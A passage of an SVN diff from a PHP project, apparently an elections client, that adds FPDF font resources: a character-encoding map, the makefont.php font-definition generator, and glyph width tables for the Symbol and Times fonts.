+!03 U+0003 .notdef
+!04 U+0004 .notdef
+!05 U+0005 .notdef
+!06 U+0006 .notdef
+!07 U+0007 .notdef
+!08 U+0008 .notdef
+!09 U+0009 .notdef
+!0A U+000A .notdef
+!0B U+000B .notdef
+!0C U+000C .notdef
+!0D U+000D .notdef
+!0E U+000E .notdef
+!0F U+000F .notdef
+!10 U+0010 .notdef
+!11 U+0011 .notdef
+!12 U+0012 .notdef
+!13 U+0013 .notdef
+!14 U+0014 .notdef
+!15 U+0015 .notdef
+!16 U+0016 .notdef
+!17 U+0017 .notdef
+!18 U+0018 .notdef
+!19 U+0019 .notdef
+!1A U+001A .notdef
+!1B U+001B .notdef
+!1C U+001C .notdef
+!1D U+001D .notdef
+!1E U+001E .notdef
+!1F U+001F .notdef
+!20 U+0020 space
+!21 U+0021 exclam
+!22 U+0022 quotedbl
+!23 U+0023 numbersign
+!24 U+0024 dollar
+!25 U+0025 percent
+!26 U+0026 ampersand
+!27 U+0027 quotesingle
+!28 U+0028 parenleft
+!29 U+0029 parenright
+!2A U+002A asterisk
+!2B U+002B plus
+!2C U+002C comma
+!2D U+002D hyphen
+!2E U+002E period
+!2F U+002F slash
+!30 U+0030 zero
+!31 U+0031 one
+!32 U+0032 two
+!33 U+0033 three
+!34 U+0034 four
+!35 U+0035 five
+!36 U+0036 six
+!37 U+0037 seven
+!38 U+0038 eight
+!39 U+0039 nine
+!3A U+003A colon
+!3B U+003B semicolon
+!3C U+003C less
+!3D U+003D equal
+!3E U+003E greater
+!3F U+003F question
+!40 U+0040 at
+!41 U+0041 A
+!42 U+0042 B
+!43 U+0043 C
+!44 U+0044 D
+!45 U+0045 E
+!46 U+0046 F
+!47 U+0047 G
+!48 U+0048 H
+!49 U+0049 I
+!4A U+004A J
+!4B U+004B K
+!4C U+004C L
+!4D U+004D M
+!4E U+004E N
+!4F U+004F O
+!50 U+0050 P
+!51 U+0051 Q
+!52 U+0052 R
+!53 U+0053 S
+!54 U+0054 T
+!55 U+0055 U
+!56 U+0056 V
+!57 U+0057 W
+!58 U+0058 X
+!59 U+0059 Y
+!5A U+005A Z
+!5B U+005B bracketleft
+!5C U+005C backslash
+!5D U+005D bracketright
+!5E U+005E asciicircum
+!5F U+005F underscore
+!60 U+0060 grave
+!61 U+0061 a
+!62 U+0062 b
+!63 U+0063 c
+!64 U+0064 d
+!65 U+0065 e
+!66 U+0066 f
+!67 U+0067 g
+!68 U+0068 h
+!69 U+0069 i
+!6A U+006A j
+!6B U+006B k
+!6C U+006C l
+!6D U+006D m
+!6E U+006E n
+!6F U+006F o
+!70 U+0070 p
+!71 U+0071 q
+!72 U+0072 r
+!73 U+0073 s
+!74 U+0074 t
+!75 U+0075 u
+!76 U+0076 v
+!77 U+0077 w
+!78 U+0078 x
+!79 U+0079 y
+!7A U+007A z
+!7B U+007B braceleft
+!7C U+007C bar
+!7D U+007D braceright
+!7E U+007E asciitilde
+!7F U+007F .notdef
+!80 U+2500 SF100000
+!81 U+2502 SF110000
+!82 U+250C SF010000
+!83 U+2510 SF030000
+!84 U+2514 SF020000
+!85 U+2518 SF040000
+!86 U+251C SF080000
+!87 U+2524 SF090000
+!88 U+252C SF060000
+!89 U+2534 SF070000
+!8A U+253C SF050000
+!8B U+2580 upblock
+!8C U+2584 dnblock
+!8D U+2588 block
+!8E U+258C lfblock
+!8F U+2590 rtblock
+!90 U+2591 ltshade
+!91 U+2592 shade
+!92 U+2593 dkshade
+!93 U+2320 integraltp
+!94 U+25A0 filledbox
+!95 U+2022 bullet
+!96 U+221A radical
+!97 U+2248 approxequal
+!98 U+2264 lessequal
+!99 U+2265 greaterequal
+!9A U+00A0 space
+!9B U+2321 integralbt
+!9C U+00B0 degree
+!9D U+00B2 twosuperior
+!9E U+00B7 periodcentered
+!9F U+00F7 divide
+!A0 U+2550 SF430000
+!A1 U+2551 SF240000
+!A2 U+2552 SF510000
+!A3 U+0451 afii10071
+!A4 U+0454 afii10101
+!A5 U+2554 SF390000
+!A6 U+0456 afii10103
+!A7 U+0457 afii10104
+!A8 U+2557 SF250000
+!A9 U+2558 SF500000
+!AA U+2559 SF490000
+!AB U+255A SF380000
+!AC U+255B SF280000
+!AD U+0491 afii10098
+!AE U+255D SF260000
+!AF U+255E SF360000
+!B0 U+255F SF370000
+!B1 U+2560 SF420000
+!B2 U+2561 SF190000
+!B3 U+0401 afii10023
+!B4 U+0404 afii10053
+!B5 U+2563 SF230000
+!B6 U+0406 afii10055
+!B7 U+0407 afii10056
+!B8 U+2566 SF410000
+!B9 U+2567 SF450000
+!BA U+2568 SF460000
+!BB U+2569 SF400000
+!BC U+256A SF540000
+!BD U+0490 afii10050
+!BE U+256C SF440000
+!BF U+00A9 copyright
+!C0 U+044E afii10096
+!C1 U+0430 afii10065
+!C2 U+0431 afii10066
+!C3 U+0446 afii10088
+!C4 U+0434 afii10069
+!C5 U+0435 afii10070
+!C6 U+0444 afii10086
+!C7 U+0433 afii10068
+!C8 U+0445 afii10087
+!C9 U+0438 afii10074
+!CA U+0439 afii10075
+!CB U+043A afii10076
+!CC U+043B afii10077
+!CD U+043C afii10078
+!CE U+043D afii10079
+!CF U+043E afii10080
+!D0 U+043F afii10081
+!D1 U+044F afii10097
+!D2 U+0440 afii10082
+!D3 U+0441 afii10083
+!D4 U+0442 afii10084
+!D5 U+0443 afii10085
+!D6 U+0436 afii10072
+!D7 U+0432 afii10067
+!D8 U+044C afii10094
+!D9 U+044B afii10093
+!DA U+0437 afii10073
+!DB U+0448 afii10090
+!DC U+044D afii10095
+!DD U+0449 afii10091
+!DE U+0447 afii10089
+!DF U+044A afii10092
+!E0 U+042E afii10048
+!E1 U+0410 afii10017
+!E2 U+0411 afii10018
+!E3 U+0426 afii10040
+!E4 U+0414 afii10021
+!E5 U+0415 afii10022
+!E6 U+0424 afii10038
+!E7 U+0413 afii10020
+!E8 U+0425 afii10039
+!E9 U+0418 afii10026
+!EA U+0419 afii10027
+!EB U+041A afii10028
+!EC U+041B afii10029
+!ED U+041C afii10030
+!EE U+041D afii10031
+!EF U+041E afii10032
+!F0 U+041F afii10033
+!F1 U+042F afii10049
+!F2 U+0420 afii10034
+!F3 U+0421 afii10035
+!F4 U+0422 afii10036
+!F5 U+0423 afii10037
+!F6 U+0416 afii10024
+!F7 U+0412 afii10019
+!F8 U+042C afii10046
+!F9 U+042B afii10045
+!FA U+0417 afii10025
+!FB U+0428 afii10042
+!FC U+042D afii10047
+!FD U+0429 afii10043
+!FE U+0427 afii10041
+!FF U+042A afii10044
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/makefont/makefont.php
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/makefont/makefont.php	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/makefont/makefont.php	(revision 44)
@@ -0,0 +1,419 @@
+<?php
+/*******************************************************************************
+* Utility to generate font definition files
+*
+* Version:	1.14
+* Date:		2008-08-03
+* Author:	Olivier PLATHEY
+*******************************************************************************/
+
+function ReadMap($enc)
+{
+	//Read a map file
+	$file=dirname(__FILE__).'/'.strtolower($enc).'.map';
+	$a=file($file);
+	if(empty($a))
+		die('<b>Error:</b> encoding not found: '.$enc);
+	$cc2gn=array();
+	foreach($a as $l)
+	{
+		if($l[0]=='!')
+		{
+			$e=preg_split('/[ \\t]+/',rtrim($l));
+			$cc=hexdec(substr($e[0],1));
+			$gn=$e[2];
+			$cc2gn[$cc]=$gn;
+		}
+	}
+	for($i=0;$i<=255;$i++)
+	{
+		if(!isset($cc2gn[$i]))
+			$cc2gn[$i]='.notdef';
+	}
+	return $cc2gn;
+}
+
+function ReadAFM($file, &$map)
+{
+	//Read a font metric file
+	$a=file($file);
+	if(empty($a))
+		die('File not found');
+	$widths=array();
+	$fm=array();
+	$fix=array('Edot'=>'Edotaccent','edot'=>'edotaccent','Idot'=>'Idotaccent','Zdot'=>'Zdotaccent','zdot'=>'zdotaccent',
+		'Odblacute'=>'Ohungarumlaut','odblacute'=>'ohungarumlaut','Udblacute'=>'Uhungarumlaut','udblacute'=>'uhungarumlaut',
+		'Gcedilla'=>'Gcommaaccent','gcedilla'=>'gcommaaccent','Kcedilla'=>'Kcommaaccent','kcedilla'=>'kcommaaccent',
+		'Lcedilla'=>'Lcommaaccent','lcedilla'=>'lcommaaccent','Ncedilla'=>'Ncommaaccent','ncedilla'=>'ncommaaccent',
+		'Rcedilla'=>'Rcommaaccent','rcedilla'=>'rcommaaccent','Scedilla'=>'Scommaaccent','scedilla'=>'scommaaccent',
+		'Tcedilla'=>'Tcommaaccent','tcedilla'=>'tcommaaccent','Dslash'=>'Dcroat','dslash'=>'dcroat','Dmacron'=>'Dcroat','dmacron'=>'dcroat',
+		'combininggraveaccent'=>'gravecomb','combininghookabove'=>'hookabovecomb','combiningtildeaccent'=>'tildecomb',
+		'combiningacuteaccent'=>'acutecomb','combiningdotbelow'=>'dotbelowcomb','dongsign'=>'dong');
+	foreach($a as $l)
+	{
+		$e=explode(' ',rtrim($l));
+		if(count($e)<2)
+			continue;
+		$code=$e[0];
+		$param=$e[1];
+		if($code=='C')
+		{
+			//Character metrics
+			$cc=(int)$e[1];
+			$w=$e[4];
+			$gn=$e[7];
+			if(substr($gn,-4)=='20AC')
+				$gn='Euro';
+			if(isset($fix[$gn]))
+			{
+				//Fix incorrect glyph name
+				foreach($map as $c=>$n)
+				{
+					if($n==$fix[$gn])
+						$map[$c]=$gn;
+				}
+			}
+			if(empty($map))
+			{
+				//Symbolic font: use built-in encoding
+				$widths[$cc]=$w;
+			}
+			else
+			{
+				$widths[$gn]=$w;
+				if($gn=='X')
+					$fm['CapXHeight']=$e[13];
+			}
+			if($gn=='.notdef')
+				$fm['MissingWidth']=$w;
+		}
+		elseif($code=='FontName')
+			$fm['FontName']=$param;
+		elseif($code=='Weight')
+			$fm['Weight']=$param;
+		elseif($code=='ItalicAngle')
+			$fm['ItalicAngle']=(double)$param;
+		elseif($code=='Ascender')
+			$fm['Ascender']=(int)$param;
+		elseif($code=='Descender')
+			$fm['Descender']=(int)$param;
+		elseif($code=='UnderlineThickness')
+			$fm['UnderlineThickness']=(int)$param;
+		elseif($code=='UnderlinePosition')
+			$fm['UnderlinePosition']=(int)$param;
+		elseif($code=='IsFixedPitch')
+			$fm['IsFixedPitch']=($param=='true');
+		elseif($code=='FontBBox')
+			$fm['FontBBox']=array($e[1],$e[2],$e[3],$e[4]);
+		elseif($code=='CapHeight')
+			$fm['CapHeight']=(int)$param;
+		elseif($code=='StdVW')
+			$fm['StdVW']=(int)$param;
+	}
+	if(!isset($fm['FontName']))
+		die('FontName not found');
+	if(!empty($map))
+	{
+		if(!isset($widths['.notdef']))
+			$widths['.notdef']=600;
+		if(!isset($widths['Delta']) && isset($widths['increment']))
+			$widths['Delta']=$widths['increment'];
+		//Order widths according to map
+		for($i=0;$i<=255;$i++)
+		{
+			if(!isset($widths[$map[$i]]))
+			{
+				echo '<b>Warning:</b> character '.$map[$i].' is missing<br>';
+				$widths[$i]=$widths['.notdef'];
+			}
+			else
+				$widths[$i]=$widths[$map[$i]];
+		}
+	}
+	$fm['Widths']=$widths;
+	return $fm;
+}
+
+function MakeFontDescriptor($fm, $symbolic)
+{
+	//Ascent
+	$asc=(isset($fm['Ascender']) ? $fm['Ascender'] : 1000);
+	$fd="array('Ascent'=>".$asc;
+	//Descent
+	$desc=(isset($fm['Descender']) ? $fm['Descender'] : -200);
+	$fd.=",'Descent'=>".$desc;
+	//CapHeight
+	if(isset($fm['CapHeight']))
+		$ch=$fm['CapHeight'];
+	elseif(isset($fm['CapXHeight']))
+		$ch=$fm['CapXHeight'];
+	else
+		$ch=$asc;
+	$fd.=",'CapHeight'=>".$ch;
+	//Flags
+	$flags=0;
+	if(isset($fm['IsFixedPitch']) && $fm['IsFixedPitch'])
+		$flags+=1<<0;
+	if($symbolic)
+		$flags+=1<<2;
+	if(!$symbolic)
+		$flags+=1<<5;
+	if(isset($fm['ItalicAngle']) && $fm['ItalicAngle']!=0)
+		$flags+=1<<6;
+	$fd.=",'Flags'=>".$flags;
+	//FontBBox
+	if(isset($fm['FontBBox']))
+		$fbb=$fm['FontBBox'];
+	else
+		$fbb=array(0,$desc-100,1000,$asc+100);
+	$fd.=",'FontBBox'=>'[".$fbb[0].' '.$fbb[1].' '.$fbb[2].' '.$fbb[3]."]'";
+	//ItalicAngle
+	$ia=(isset($fm['ItalicAngle']) ? $fm['ItalicAngle'] : 0);
+	$fd.=",'ItalicAngle'=>".$ia;
+	//StemV
+	if(isset($fm['StdVW']))
+		$stemv=$fm['StdVW'];
+	elseif(isset($fm['Weight']) && preg_match('/bold|black/i',$fm['Weight']))
+		$stemv=120;
+	else
+		$stemv=70;
+	$fd.=",'StemV'=>".$stemv;
+	//MissingWidth
+	if(isset($fm['MissingWidth']))
+		$fd.=",'MissingWidth'=>".$fm['MissingWidth'];
+	$fd.=')';
+	return $fd;
+}
+
+function MakeWidthArray($fm)
+{
+	//Make character width array
+	$s="array(\n\t";
+	$cw=$fm['Widths'];
+	for($i=0;$i<=255;$i++)
+	{
+		if(chr($i)=="'")
+			$s.="'\\''";
+		elseif(chr($i)=="\\")
+			$s.="'\\\\'";
+		elseif($i>=32 && $i<=126)
+			$s.="'".chr($i)."'";
+		else
+			$s.="chr($i)";
+		$s.='=>'.$fm['Widths'][$i];
+		if($i<255)
+			$s.=',';
+		if(($i+1)%22==0)
+			$s.="\n\t";
+	}
+	$s.=')';
+	return $s;
+}
+
+function MakeFontEncoding($map)
+{
+	//Build differences from reference encoding
+	$ref=ReadMap('cp1252');
+	$s='';
+	$last=0;
+	for($i=32;$i<=255;$i++)
+	{
+		if($map[$i]!=$ref[$i])
+		{
+			if($i!=$last+1)
+				$s.=$i.' ';
+			$last=$i;
+			$s.='/'.$map[$i].' ';
+		}
+	}
+	return rtrim($s);
+}
+
+function SaveToFile($file, $s, $mode)
+{
+	$f=fopen($file,'w'.$mode);
+	if(!$f)
+		die('Can\'t write to file '.$file);
+	fwrite($f,$s,strlen($s));
+	fclose($f);
+}
+
+function ReadShort($f)
+{
+	$a=unpack('n1n',fread($f,2));
+	return $a['n'];
+}
+
+function ReadLong($f)
+{
+	$a=unpack('N1N',fread($f,4));
+	return $a['N'];
+}
+
+function CheckTTF($file)
+{
+	//Check if font license allows embedding
+	$f=fopen($file,'rb');
+	if(!$f)
+		die('<b>Error:</b> Can\'t open '.$file);
+	//Extract number of tables
+	fseek($f,4,SEEK_CUR);
+	$nb=ReadShort($f);
+	fseek($f,6,SEEK_CUR);
+	//Seek OS/2 table
+	$found=false;
+	for($i=0;$i<$nb;$i++)
+	{
+		if(fread($f,4)=='OS/2')
+		{
+			$found=true;
+			break;
+		}
+		fseek($f,12,SEEK_CUR);
+	}
+	if(!$found)
+	{
+		fclose($f);
+		return;
+	}
+	fseek($f,4,SEEK_CUR);
+	$offset=ReadLong($f);
+	fseek($f,$offset,SEEK_SET);
+	//Extract fsType flags
+	fseek($f,8,SEEK_CUR);
+	$fsType=ReadShort($f);
+	$rl=($fsType & 0x02)!=0;
+	$pp=($fsType & 0x04)!=0;
+	$e=($fsType & 0x08)!=0;
+	fclose($f);
+	if($rl && !$pp && !$e)
+		echo '<b>Warning:</b> font license does not allow embedding';
+}
+
+/*******************************************************************************
+* fontfile: path to TTF file (or empty string if not to be embedded0)
+* afmfile:	path to AFM file
+* enc:		font encoding (or empty string for symbolic fonts)
+* patch:	optional patch for encoding
+* type:		font type if fontfile is empty
+*******************************************************************************/
+function MakeFont($fontfile, $afmfile, $enc='cp1252', $patch=array(), $type='TrueType')
+{
+	//Generate a font definition file
+	if(get_magic_quotes_runtime())
+		@set_magic_quotes_runtime(0);
+	ini_set('auto_detect_line_endings','1');
+	if($enc)
+	{
+		$map=ReadMap($enc);
+		foreach($patch as $cc=>$gn)
+			$map[$cc]=$gn;
+	}
+	else
+		$map=array();
+	if(!file_exists($afmfile))
+		die('<b>Error:</b> AFM file not found: '.$afmfile);
+	$fm=ReadAFM($afmfile,$map);
+	if($enc)
+		$diff=MakeFontEncoding($map);
+	else
+		$diff='';
+	$fd=MakeFontDescriptor($fm,empty($map));
+	//Find font type
+	if($fontfile)
+	{
+		$ext=strtolower(substr($fontfile,-3));
+		if($ext=='ttf')
+			$type='TrueType';
+		elseif($ext=='pfb')
+			$type='Type1';
+		else
+			die('<b>Error:</b> unrecognized font file extension: '.$ext);
+	}
+	else
+	{
+		if($type!='TrueType' && $type!='Type1')
+			die('<b>Error:</b> incorrect font type: '.$type);
+	}
+	//Start generation
+	$s='<?php'."\n";
+	$s.='$type=\''.$type."';\n";
+	$s.='$name=\''.$fm['FontName']."';\n";
+	$s.='$desc='.$fd.";\n";
+	if(!isset($fm['UnderlinePosition']))
+		$fm['UnderlinePosition']=-100;
+	if(!isset($fm['UnderlineThickness']))
+		$fm['UnderlineThickness']=50;
+	$s.='$up='.$fm['UnderlinePosition'].";\n";
+	$s.='$ut='.$fm['UnderlineThickness'].";\n";
+	$w=MakeWidthArray($fm);
+	$s.='$cw='.$w.";\n";
+	$s.='$enc=\''.$enc."';\n";
+	$s.='$diff=\''.$diff."';\n";
+	$basename=substr(basename($afmfile),0,-4);
+	if($fontfile)
+	{
+		//Embedded font
+		if(!file_exists($fontfile))
+			die('<b>Error:</b> font file not found: '.$fontfile);
+		if($type=='TrueType')
+			CheckTTF($fontfile);
+		$f=fopen($fontfile,'rb');
+		if(!$f)
+			die('<b>Error:</b> Can\'t open '.$fontfile);
+		$file=fread($f,filesize($fontfile));
+		fclose($f);
+		if($type=='Type1')
+		{
+			//Find first two sections and discard third one
+			$header=(ord($file[0])==128);
+			if($header)
+			{
+				//Strip first binary header
+				$file=substr($file,6);
+			}
+			$pos=strpos($file,'eexec');
+			if(!$pos)
+				die('<b>Error:</b> font file does not seem to be valid Type1');
+			$size1=$pos+6;
+			if($header && ord($file[$size1])==128)
+			{
+				//Strip second binary header
+				$file=substr($file,0,$size1).substr($file,$size1+6);
+			}
+			$pos=strpos($file,'00000000');
+			if(!$pos)
+				die('<b>Error:</b> font file does not seem to be valid Type1');
+			$size2=$pos-$size1;
+			$file=substr($file,0,$size1+$size2);
+		}
+		if(function_exists('gzcompress'))
+		{
+			$cmp=$basename.'.z';
+			SaveToFile($cmp,gzcompress($file),'b');
+			$s.='$file=\''.$cmp."';\n";
+			echo 'Font file compressed ('.$cmp.')<br>';
+		}
+		else
+		{
+			$s.='$file=\''.basename($fontfile)."';\n";
+			echo '<b>Notice:</b> font file could not be compressed (zlib extension not available)<br>';
+		}
+		if($type=='Type1')
+		{
+			$s.='$size1='.$size1.";\n";
+			$s.='$size2='.$size2.";\n";
+		}
+		else
+			$s.='$originalsize='.filesize($fontfile).";\n";
+	}
+	else
+	{
+		//Not embedded font
+		$s.='$file='."'';\n";
+	}
+	$s.="?>\n";
+	SaveToFile($basename.'.php',$s,'t');
+	echo 'Font definition file generated ('.$basename.'.php'.')<br>';
+}
+?>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/symbol.php
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/symbol.php	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/symbol.php	(revision 44)
@@ -0,0 +1,15 @@
+<?php
+$fpdf_charwidths['symbol']=array(
+	chr(0)=>250,chr(1)=>250,chr(2)=>250,chr(3)=>250,chr(4)=>250,chr(5)=>250,chr(6)=>250,chr(7)=>250,chr(8)=>250,chr(9)=>250,chr(10)=>250,chr(11)=>250,chr(12)=>250,chr(13)=>250,chr(14)=>250,chr(15)=>250,chr(16)=>250,chr(17)=>250,chr(18)=>250,chr(19)=>250,chr(20)=>250,chr(21)=>250,
+	chr(22)=>250,chr(23)=>250,chr(24)=>250,chr(25)=>250,chr(26)=>250,chr(27)=>250,chr(28)=>250,chr(29)=>250,chr(30)=>250,chr(31)=>250,' '=>250,'!'=>333,'"'=>713,'#'=>500,'$'=>549,'%'=>833,'&'=>778,'\''=>439,'('=>333,')'=>333,'*'=>500,'+'=>549,
+	','=>250,'-'=>549,'.'=>250,'/'=>278,'0'=>500,'1'=>500,'2'=>500,'3'=>500,'4'=>500,'5'=>500,'6'=>500,'7'=>500,'8'=>500,'9'=>500,':'=>278,';'=>278,'<'=>549,'='=>549,'>'=>549,'?'=>444,'@'=>549,'A'=>722,
+	'B'=>667,'C'=>722,'D'=>612,'E'=>611,'F'=>763,'G'=>603,'H'=>722,'I'=>333,'J'=>631,'K'=>722,'L'=>686,'M'=>889,'N'=>722,'O'=>722,'P'=>768,'Q'=>741,'R'=>556,'S'=>592,'T'=>611,'U'=>690,'V'=>439,'W'=>768,
+	'X'=>645,'Y'=>795,'Z'=>611,'['=>333,'\\'=>863,']'=>333,'^'=>658,'_'=>500,'`'=>500,'a'=>631,'b'=>549,'c'=>549,'d'=>494,'e'=>439,'f'=>521,'g'=>411,'h'=>603,'i'=>329,'j'=>603,'k'=>549,'l'=>549,'m'=>576,
+	'n'=>521,'o'=>549,'p'=>549,'q'=>521,'r'=>549,'s'=>603,'t'=>439,'u'=>576,'v'=>713,'w'=>686,'x'=>493,'y'=>686,'z'=>494,'{'=>480,'|'=>200,'}'=>480,'~'=>549,chr(127)=>0,chr(128)=>0,chr(129)=>0,chr(130)=>0,chr(131)=>0,
+	chr(132)=>0,chr(133)=>0,chr(134)=>0,chr(135)=>0,chr(136)=>0,chr(137)=>0,chr(138)=>0,chr(139)=>0,chr(140)=>0,chr(141)=>0,chr(142)=>0,chr(143)=>0,chr(144)=>0,chr(145)=>0,chr(146)=>0,chr(147)=>0,chr(148)=>0,chr(149)=>0,chr(150)=>0,chr(151)=>0,chr(152)=>0,chr(153)=>0,
+	chr(154)=>0,chr(155)=>0,chr(156)=>0,chr(157)=>0,chr(158)=>0,chr(159)=>0,chr(160)=>750,chr(161)=>620,chr(162)=>247,chr(163)=>549,chr(164)=>167,chr(165)=>713,chr(166)=>500,chr(167)=>753,chr(168)=>753,chr(169)=>753,chr(170)=>753,chr(171)=>1042,chr(172)=>987,chr(173)=>603,chr(174)=>987,chr(175)=>603,
+	chr(176)=>400,chr(177)=>549,chr(178)=>411,chr(179)=>549,chr(180)=>549,chr(181)=>713,chr(182)=>494,chr(183)=>460,chr(184)=>549,chr(185)=>549,chr(186)=>549,chr(187)=>549,chr(188)=>1000,chr(189)=>603,chr(190)=>1000,chr(191)=>658,chr(192)=>823,chr(193)=>686,chr(194)=>795,chr(195)=>987,chr(196)=>768,chr(197)=>768,
+	chr(198)=>823,chr(199)=>768,chr(200)=>768,chr(201)=>713,chr(202)=>713,chr(203)=>713,chr(204)=>713,chr(205)=>713,chr(206)=>713,chr(207)=>713,chr(208)=>768,chr(209)=>713,chr(210)=>790,chr(211)=>790,chr(212)=>890,chr(213)=>823,chr(214)=>549,chr(215)=>250,chr(216)=>713,chr(217)=>603,chr(218)=>603,chr(219)=>1042,
+	chr(220)=>987,chr(221)=>603,chr(222)=>987,chr(223)=>603,chr(224)=>494,chr(225)=>329,chr(226)=>790,chr(227)=>790,chr(228)=>786,chr(229)=>713,chr(230)=>384,chr(231)=>384,chr(232)=>384,chr(233)=>384,chr(234)=>384,chr(235)=>384,chr(236)=>494,chr(237)=>494,chr(238)=>494,chr(239)=>494,chr(240)=>0,chr(241)=>329,
+	chr(242)=>274,chr(243)=>686,chr(244)=>686,chr(245)=>686,chr(246)=>384,chr(247)=>384,chr(248)=>384,chr(249)=>384,chr(250)=>384,chr(251)=>384,chr(252)=>494,chr(253)=>494,chr(254)=>494,chr(255)=>0);
+?>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/times.php
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/times.php	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/times.php	(revision 44)
@@ -0,0 +1,15 @@
+<?php
+$fpdf_charwidths['times']=array(
+	chr(0)=>250,chr(1)=>250,chr(2)=>250,chr(3)=>250,chr(4)=>250,chr(5)=>250,chr(6)=>250,chr(7)=>250,chr(8)=>250,chr(9)=>250,chr(10)=>250,chr(11)=>250,chr(12)=>250,chr(13)=>250,chr(14)=>250,chr(15)=>250,chr(16)=>250,chr(17)=>250,chr(18)=>250,chr(19)=>250,chr(20)=>250,chr(21)=>250,
+	chr(22)=>250,chr(23)=>250,chr(24)=>250,chr(25)=>250,chr(26)=>250,chr(27)=>250,chr(28)=>250,chr(29)=>250,chr(30)=>250,chr(31)=>250,' '=>250,'!'=>333,'"'=>408,'#'=>500,'$'=>500,'%'=>833,'&'=>778,'\''=>180,'('=>333,')'=>333,'*'=>500,'+'=>564,
+	','=>250,'-'=>333,'.'=>250,'/'=>278,'0'=>500,'1'=>500,'2'=>500,'3'=>500,'4'=>500,'5'=>500,'6'=>500,'7'=>500,'8'=>500,'9'=>500,':'=>278,';'=>278,'<'=>564,'='=>564,'>'=>564,'?'=>444,'@'=>921,'A'=>722,
+	'B'=>667,'C'=>667,'D'=>722,'E'=>611,'F'=>556,'G'=>722,'H'=>722,'I'=>333,'J'=>389,'K'=>722,'L'=>611,'M'=>889,'N'=>722,'O'=>722,'P'=>556,'Q'=>722,'R'=>667,'S'=>556,'T'=>611,'U'=>722,'V'=>722,'W'=>944,
+	'X'=>722,'Y'=>722,'Z'=>611,'['=>333,'\\'=>278,']'=>333,'^'=>469,'_'=>500,'`'=>333,'a'=>444,'b'=>500,'c'=>444,'d'=>500,'e'=>444,'f'=>333,'g'=>500,'h'=>500,'i'=>278,'j'=>278,'k'=>500,'l'=>278,'m'=>778,
+	'n'=>500,'o'=>500,'p'=>500,'q'=>500,'r'=>333,'s'=>389,'t'=>278,'u'=>500,'v'=>500,'w'=>722,'x'=>500,'y'=>500,'z'=>444,'{'=>480,'|'=>200,'}'=>480,'~'=>541,chr(127)=>350,chr(128)=>500,chr(129)=>350,chr(130)=>333,chr(131)=>500,
+	chr(132)=>444,chr(133)=>1000,chr(134)=>500,chr(135)=>500,chr(136)=>333,chr(137)=>1000,chr(138)=>556,chr(139)=>333,chr(140)=>889,chr(141)=>350,chr(142)=>611,chr(143)=>350,chr(144)=>350,chr(145)=>333,chr(146)=>333,chr(147)=>444,chr(148)=>444,chr(149)=>350,chr(150)=>500,chr(151)=>1000,chr(152)=>333,chr(153)=>980,
+	chr(154)=>389,chr(155)=>333,chr(156)=>722,chr(157)=>350,chr(158)=>444,chr(159)=>722,chr(160)=>250,chr(161)=>333,chr(162)=>500,chr(163)=>500,chr(164)=>500,chr(165)=>500,chr(166)=>200,chr(167)=>500,chr(168)=>333,chr(169)=>760,chr(170)=>276,chr(171)=>500,chr(172)=>564,chr(173)=>333,chr(174)=>760,chr(175)=>333,
+	chr(176)=>400,chr(177)=>564,chr(178)=>300,chr(179)=>300,chr(180)=>333,chr(181)=>500,chr(182)=>453,chr(183)=>250,chr(184)=>333,chr(185)=>300,chr(186)=>310,chr(187)=>500,chr(188)=>750,chr(189)=>750,chr(190)=>750,chr(191)=>444,chr(192)=>722,chr(193)=>722,chr(194)=>722,chr(195)=>722,chr(196)=>722,chr(197)=>722,
+	chr(198)=>889,chr(199)=>667,chr(200)=>611,chr(201)=>611,chr(202)=>611,chr(203)=>611,chr(204)=>333,chr(205)=>333,chr(206)=>333,chr(207)=>333,chr(208)=>722,chr(209)=>722,chr(210)=>722,chr(211)=>722,chr(212)=>722,chr(213)=>722,chr(214)=>722,chr(215)=>564,chr(216)=>722,chr(217)=>722,chr(218)=>722,chr(219)=>722,
+	chr(220)=>722,chr(221)=>722,chr(222)=>556,chr(223)=>500,chr(224)=>444,chr(225)=>444,chr(226)=>444,chr(227)=>444,chr(228)=>444,chr(229)=>444,chr(230)=>667,chr(231)=>444,chr(232)=>444,chr(233)=>444,chr(234)=>444,chr(235)=>444,chr(236)=>278,chr(237)=>278,chr(238)=>278,chr(239)=>278,chr(240)=>500,chr(241)=>500,
+	chr(242)=>500,chr(243)=>500,chr(244)=>500,chr(245)=>500,chr(246)=>500,chr(247)=>564,chr(248)=>500,chr(249)=>500,chr(250)=>500,chr(251)=>500,chr(252)=>500,chr(253)=>500,chr(254)=>500,chr(255)=>500);
+?>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/timesb.php
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/timesb.php	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/timesb.php	(revision 44)
@@ -0,0 +1,15 @@
+<?php
+$fpdf_charwidths['timesB']=array(
+	chr(0)=>250,chr(1)=>250,chr(2)=>250,chr(3)=>250,chr(4)=>250,chr(5)=>250,chr(6)=>250,chr(7)=>250,chr(8)=>250,chr(9)=>250,chr(10)=>250,chr(11)=>250,chr(12)=>250,chr(13)=>250,chr(14)=>250,chr(15)=>250,chr(16)=>250,chr(17)=>250,chr(18)=>250,chr(19)=>250,chr(20)=>250,chr(21)=>250,
+	chr(22)=>250,chr(23)=>250,chr(24)=>250,chr(25)=>250,chr(26)=>250,chr(27)=>250,chr(28)=>250,chr(29)=>250,chr(30)=>250,chr(31)=>250,' '=>250,'!'=>333,'"'=>555,'#'=>500,'$'=>500,'%'=>1000,'&'=>833,'\''=>278,'('=>333,')'=>333,'*'=>500,'+'=>570,
+	','=>250,'-'=>333,'.'=>250,'/'=>278,'0'=>500,'1'=>500,'2'=>500,'3'=>500,'4'=>500,'5'=>500,'6'=>500,'7'=>500,'8'=>500,'9'=>500,':'=>333,';'=>333,'<'=>570,'='=>570,'>'=>570,'?'=>500,'@'=>930,'A'=>722,
